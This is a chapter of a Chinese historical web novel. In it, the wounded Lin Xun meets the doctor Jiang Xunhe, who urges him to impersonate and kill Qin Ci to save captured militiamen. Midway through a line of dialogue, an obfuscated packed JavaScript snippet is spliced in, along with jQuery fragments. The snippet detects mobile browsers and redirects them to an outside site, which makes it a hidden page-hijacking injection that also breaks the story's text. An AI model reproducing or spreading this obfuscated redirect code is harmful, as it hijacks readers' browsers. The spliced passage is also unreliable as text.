林浔摆摆手,找个借口屏退了他,怔怔地躺在床上。
爹娘死了,镜月也丢下我走了,我还能去哪呢?林浔颤颤地抬起手,被踩骨折的胳膊习惯了他这些天的动作,竟也感受不到痛,反倒是泪渗进了脸上的伤口,一抽一抽地刺痛着他的神经,他一遍一遍地把眼泪擦干,喃喃着“等我哭完就走”,可这场心上的雨注定持久绵长,视线随着呼吸的起伏时而模糊时而清晰,如同溺水时的挣扎,最后彻底陷入昏厥。
待林浔再次从头痛中醒来时,他的脑海中只剩下一句话:我要去安州。
一个是梦,一个是传言,我不信娘和爹就这么死了,就算是真的,我也要去替他们收尸,若是让那些个禽兽带走了他们的尸骨,指不定要怎么凌辱。
他踉踉跄跄地从床上爬起来,此时已然翌日清晨,他叫来小二吃了些东西,又一刻不停地走了。
丰州到安州有些距离,坐马车要一个月才能到,他翻了翻钱袋,剩下的钱省省还够他雇个车夫,顺道贿赂进城的卫兵。
看来老天爷也认可我的决定。林浔默默想着,找了个看上去比较靠谱的车夫启程前往玉京。
一路风和日丽,今年的夏比往年要舒服很多,娘要是还在的话,应该不会和往年一样咳得厉害吧?林浔将膏药咬开贴在手上,冰凉的触感贴在红肿的关节处,一层层化着痛。
眼下的事于他而言乱成一团,为什么皇帝一定要杀宋和见和傅翊,寒镜月又为什么要丢下他一个人走了,姜慎和姜孟也不知所踪,而他自己又拖了一身伤,什么也解决不了。
送他的车夫倒是个喜欢说话的,见他闷闷不乐,出言搭话:“小兄弟是赶去安州看大夫的吗?赶巧我也认识他,他治断骨那可是一绝。”
林浔歉笑:“我倒有心寻医,可惜身上没什么银子,怕是去了也要被赶出来。”
车夫:“唉你这说得什么话,那位大夫可是出了名的医者仁心,你要是真有难处,他是绝不收你一分钱的。”
林浔:“敢问那位大夫姓名?店又在何处?”
车夫:“我只知道他姓江,开的那家店叫水杏医馆,就在安州交界的地方,很有名气,你要想去我直接送你到那儿下。不过安州最近可不安生,只能进不能出,不然你在附近逗留几日,过了风头才进城?”
林浔心下一惊:“为何只能进不能出?”
车夫:“还不是因为前些日子明鸿将军那事儿,虽说那被围杀的将军等人进城前就遣散了军队,但朝廷说什么害怕旧部作乱之类的话,现在逮着安州和它以北的几个州的百姓挨个审查,谁和那将军沾边谁就得被抓,吓人得很!万一你去寻医被他们误当成旧部来访可就惨了。”
这是不赶尽杀绝不罢休吗?林浔苦笑,恐怕现在那边到处都贴着自己的通缉令,此时去安州无异于自投罗网,但若不去,生死又有何异?
但此行并非全无好事,至少能找到一个不收钱的大夫,现在的手连剑都抬不起来,要是又碰上刺杀,怕是真如镜月所说的就知道送死了。
镜月,你会在安州吗?林浔胡乱地想着,轻轻摩挲着那块刻着他名字的玉佩,在山里时他发现玉佩沾了灰和血,就跑去河边想洗一洗,可断了指骨的手没有力气,他跪在河边半天才将上面的污垢冲洗干净,正面的“林浔”二字端端正正,反面一片空白,爹说,等他二十岁及冠取字的时候就把他的字印上去。
镜月有两块这样的玉佩,一块是她娘的,一块是她及笄的时候爹送的,真好,我们都有。
日夜轮番,所念不成。梦中的安州终于在颠簸中渐渐靠近,很多年前他被卖到玉京时也是这样蜷缩着身子一路颠簸,叫醒他的也是车夫:“小兄弟,到医馆了,要不要我扶你下来?”
“不必不必。”林浔疲惫地从车上爬下来,向车夫拱手道谢,眼前的医馆地方不大,但从外看却亮堂大气,“水杏医馆”的牌匾高高悬起,令人无由来地感到一阵安心。
车夫和林浔一起进了里头,小小的地方被整理得井井有条,药柜前的中年男人身长七尺,青衫陈旧,两鬓灰白,头发梳得歪歪扭扭,下巴上的一绺山羊须翘在半空中,瞧见车夫爽朗地笑了:“哟,老庞,这回又伤哪了?”
庞大力啐他:“姓江的你他爹的少咒老子,这回不是我,是这个小兄弟受了伤,但他身上交了我送他去玉京的车费就没钱了,就领你这来看看。”
江寻鹤瞥向林浔:“走路上身不稳下身稳,手臂弯垂,你是不是摔断过背,还被人打过?”
林浔被他说得一愣一愣:“啊……确实,大夫,那我还有的治吗?”
江寻鹤白了他一眼:“你先把你那破斗笠掀开。”
林浔尴尬地掀开斗笠,江寻鹤得意道:“面色灰白,双目无光,脸上还有皮外伤,心口有淤血没散,我猜也是被人打的,并且你最近多日疲劳,心有郁结。”
林浔不得不感叹此人的医术,连脉都没搭就把他的情况说了个大概出来,江寻鹤从药柜前走来,猝不及防掐住他的脸:“这位小兄弟,我劝你最近还是先别去安州。”
林浔瞬间警惕:“大夫此话何意?”
江寻鹤勾唇:“何意?我问你,你是不是姓林?”
林浔没有回答,手却已经搭在了剑上。
江寻鹤迅速按下他将要出鞘的剑:“以你现在的伤势想要和我打恐怕没有胜算,不过你还是庆幸能在这碰到我吧,我不会害你的。”
林浔的手被他死死按着无法动弹,江寻鹤转向庞大力:“老庞,这个人我要留着,你先走吧。”
“啊?”庞大力惊讶地看了看林浔,又看了看江寻鹤,“这不好吧?”
江寻鹤:“有什么不好的,把多出来的钱退给他不就行了?老子的事儿你少问。”
林浔抿了抿唇,最后还是无奈地点了点头:“你先走吧,我要在江大夫这多待几日。”
庞大力见他这么说只好把多出来的钱退还给他,自顾自走了。
江寻鹤运气关上大门,将林浔提起来丢在椅子上:“如今到处都贴着你和你姑姑的通缉令,你要是敢回去一步,脑袋就得和你义父义母一起装匣子里咯。”
林浔冷冷地看着他:“你是什么人?”
江寻鹤吊儿郎当地笑着:“我是什么人?我是这儿的大夫啊。你这小子怎么傻不拉几的。”
林浔:“我和你素不相识,你为什么要救我?”
江寻鹤皱眉:“我要救的不是你,是那些因你们即将无故枉死的百姓。你义父义母在进入安州前遣散了军队,那些民兵理应解甲归田从此与这些权贵再无牵连,但那位被派来围杀平乱的秦统领却大肆搜查,誓要将他们缉拿至玉京邀功,难道你就忍心看那些人为你们枉死吗?”
无故枉死。无故枉死。
自他踏入边北起,杀孽便如疾风狂沙,将他裹挟、凌迟。那双断了骨的手好似沾染了无法清洗的血污,时时刻刻晃动着那日的血肉模糊。以及那个可怖得真实的梦。
时间将沉默拉得很长,横亘于玉京与安州之间。许久,林浔终于抬起头,双目颤抖:“如今我被通缉,该如何现身救他们?”
江寻鹤见他松口,方展颜道:“被缉拿囚禁的民兵都被扣押在朝廷军营西边,除了秦辞和楚青梁,没人有资格放走他们,我听闻你与秦辞相貌相似……”
他意有所指地瞧了眼林浔,却听见一声极轻的笑,不知是高兴还是自嘲:“你要我假扮他?但除非一辈子不换回来,那些无辜的人还是难逃一死。”
江寻鹤:“所以秦辞必须死。”
林浔心口一绞,这些天他一直时不时心口作痛,一时分不清是因为对方的话还是身体实在承受不住负荷:“……他是我娘的亲儿子,若无天大的冤仇,我不会杀他。”
江寻鹤伸手将他扶到椅子上,边开药边道:“他亲手杀了你义母,甚至砍下她和你义父的头颅,美名其曰大义灭亲,待他回京,你爹娘的头就会被高悬在玉京城门,于你而言,这算不算天大的冤仇?”
那个逼真的梦里,秦辞弯弓搭箭,毫不犹豫地射杀了宋和见,是偏见吗?从梦中惊醒时,林浔觉得自己太过恶毒,竟会梦到娘被亲儿子射杀这种讽刺到可以称之为报复的情境。
然而如今却告诉他这些都是真的。
鸣几山上,寒镜月侧着脸笑问他会不会报仇,那时自己是怎么回答的?不知道?纵有千般愁苦愤懑,他也不知该向谁倾诉,说到底,这是他自己的仇,又怎么忍心让其他无辜之人为私仇赴死?
杀了他。取代他。这是能将所有危难降到最低的策略。
江寻鹤见他一言不发,放缓了语气:“我一生悬壶济世,委实不忍那些我拼命从阎王那救下的人最后却被人间的阎王带走,我想你既然愿意回来,定不是甘愿咽下仇恨苟且偷生之辈,你就算不为那些百姓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102690|190865||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也就当是为你死去的义父义母报仇吧。”
“我们要以什么方式潜入军营。”林浔微微倾身,好让自己心口的灼痛稍稍轻些。
江寻鹤松了口气:“我在安州颇有些名气,他在围杀一战中手臂受损,军中有人举荐我为他诊治,你就充当我的助手随我一同前往,届时我自有办法,这些天你现在我这养伤吧。”
江寻鹤把医馆楼上空置的房间腾给他住,虽然小了些,但布置得舒服简单,该高兴的,至少碰见了一个愿意帮自己的人,还能养伤,该高兴的。
尽管一遍又一遍地这么告诉自己,但在水杏医馆养伤的七天,林浔始终怅然,雨水顺着风从练州飘来安州,淅淅沥沥的雨模糊了天空,漫天青色中,一位白衣高挑的少年背着一筐药材从雨中走来,脱下斗笠甩了他一身水:“小哥,你怎么又在发呆啊?”
他是江寻鹤的养子江白漪,据江寻鹤所言,他的妻子十多年前因病逝世,他只身一人颇为寂寞,就收养了一个无家可归的孩子作伴。林浔一时惘然,这天下竟有神医也治不好的病吗?
“喂,小哥,小哥?”江白漪伸手在他眼前晃了晃,林浔回过神:“啊……江大夫出去了,正好没病人来,我就休息会儿。”
在这养伤的几天,他不好意思吃白饭,偶尔也会帮忙照看一下病人,江白漪见他终于说话,嘴巴更加叭叭个不停:“你休息的时候是只会发呆么?让我猜猜,你是不是在想谁?”
林浔很轻地应了声,起身抱走他背回来的药筐放到后面。
江白漪见状哼了声,绕到了他身前:“自从你来了我家,我就没见你说过几句话,小哥,你以前也这么不爱说话吗?”
林浔没有抬头:“还好。”
江白漪:“和熟人也不说?”
林浔:“说。”
江白漪:“你早晚要和我处成熟人的,我好不容易多个伴,你陪我说几句呗。”
林浔顿了顿,呆呆地抬起头:“恐怕我不会陪你很久。”
江白漪眨了眨眼睛:“你只是和我爹去救人,又不是死了不回来了,就算你真的不会久留,江湖上多个朋友也很好啊?”
成为那个人和死了又有区别呢?至于朋友,除了小时候的张换,就只剩下镜月……如果我注定留不住你们的话,倒不如一开始就不要认识。
江白漪又叽叽喳喳说了很多话,林浔只能牵强地陪笑,大概这位小他三岁的少年天生就见不得旁人愁眉苦脸,就算是患了不解之症的病人见了他,也得被他逗出笑来。
养伤的第七天,林浔的手勉强能够拿起武器,时间紧迫,他和江寻鹤商议完对策后,就急匆匆前往营帐,临行前江白漪笑他们:“爹,救人不为己的事你干的还少么?怎么也学着小哥苦脸相了?”
“你哪只眼睛看见你爹我苦脸了?好好看店,回来对账少了一文钱你都别想跑。”江寻鹤嗔笑了几句,交代完几句店里的事就和林浔匆匆离开。
前往安州的军队由楚青梁率领,秦辞在朝中官居监察司右统领,被元清特意以军师身份派去随军,因不知名的缘故在军中地位颇高,连主将也得敬他三分。
军营驻扎在安州南部,四周士兵布防,此时临近仲春,沉重的湿气弥漫了整个安州。
江寻鹤不愧神医,虽不知他师承哪家,却能让林浔在七日内养伤到勉强能使用武器,不至于手无寸铁。
他以面上有伤为由带着帷帽,随江寻鹤一道前往秦辞所在的营帐,还未靠近就听见里头的争吵。
“楚将军要是觉得这有失仁德,不妨先行一步回京,秦某绝不让你担一分责。”
“秦统领说得好听,怕是我走一步你就要上书皇上给我安个莫须有的罪名吧?”
“绝无此意,但那些民兵我是绝不会放的,毕竟楚将军的人到现在都没找到那两个罪臣余孽,谁能保证他们不会东山再起?”
“秦统领的意思是我无能了?”
楚青梁一拳砸在桌上,震得周围的下属皆不迭上前劝阻:“将军歇歇气!歇歇气!”
楚青梁却丝毫没有退让的意思:“歇气?你让我怎么歇?秦辞你他爹的有没有良心?那帮民兵你抓了就抓了,罚了便罚了,你押上京是要做给谁看?怎么的你提着你老娘的头上去还不够你仕途大顺吗?!”
秦辞双眉微颤:“楚将军,我的家事还轮不到你来管。更何况,提头上京是皇上的命令。”